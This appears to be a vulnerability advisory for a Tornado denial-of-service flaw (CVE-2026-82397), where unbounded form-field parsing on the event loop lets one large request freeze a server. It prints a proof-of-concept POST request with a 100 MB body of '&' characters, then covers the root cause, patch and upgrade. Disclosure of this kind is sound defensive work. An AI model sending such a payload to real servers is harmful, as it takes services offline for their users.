CVE-2026-82397: tornado Urlencoded Body Parsing DoS via Unbounded Field Count
Any unauthenticated attacker can send a single large form-encoded HTTP request to a Tornado server and freeze it completely, because Tornado parses the body synchronously on the event loop with no…

The problem
Tornado passes application/x-www-form-urlencoded request bodies to urllib.parse.parse_qs in tornado/escape.py without the max_num_fields argument.
The parse runs synchronously on the event loop before any handler code executes, and the only size bound is max_buffer_size, which defaults to 100 MB. A 100 MB body of & separators produces roughly fifty million empty fields. Every other connection waits for the entire parse to finish.
Proof of concept
A working proof-of-concept for CVE-2026-82397 in tornado, with the exact payload below.
POST /any-form-endpoint HTTP/1.1
Host: target:8888
Content-Type: application/x-www-form-urlencoded
Content-Length: 104857600
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&[...100 MB of '&' characters...]CPython added max_num_fields to parse_qs specifically to prevent this class of attack. When the argument is omitted, there is no field-count ceiling, so the only limit is memory and CPU time.
The patch (commit 8d6363e, PR #3704) adds max_num_fields to the parse_qs call in tornado/escape.py and threads a configurable default through parse_qs_bytes in tornado/httputil.py. CPython raises ValueError when the limit is exceeded, which the fix maps to an HTTP 400 response.
Root cause is CWE-400 (Uncontrolled Resource Consumption) combined with CWE-1284 (Improper Validation of Specified Quantity in Input).
The fix
Upgrade tornado to 6.5.8 or later. The patched release adds a max_num_fields cap to the urlencoded body parser and returns HTTP 400 when a request exceeds it. No configuration change is needed after upgrading, though applications processing unusually large forms can raise the limit explicitly.
Related research
- high · 7.5CVE-2025-67725CVE-2025-67725: Tornado HTTPHeaders Quadratic DoS via Repeated Header Coalescing
- high · 7.5CVE-2025-67726CVE-2025-67726: Tornado Quadratic DoS via Crafted Multipart Parameters
- critical · 9.1CVE-2026-55247CVE-2026-55247: plone.app.event iCalendar Import DoS, SSRF, and Stored XSS
- critical · 9.1CVE-2026-55248CVE-2026-55248: plone.app.portlets RSS Portlet DoS, SSRF, and Stored XSS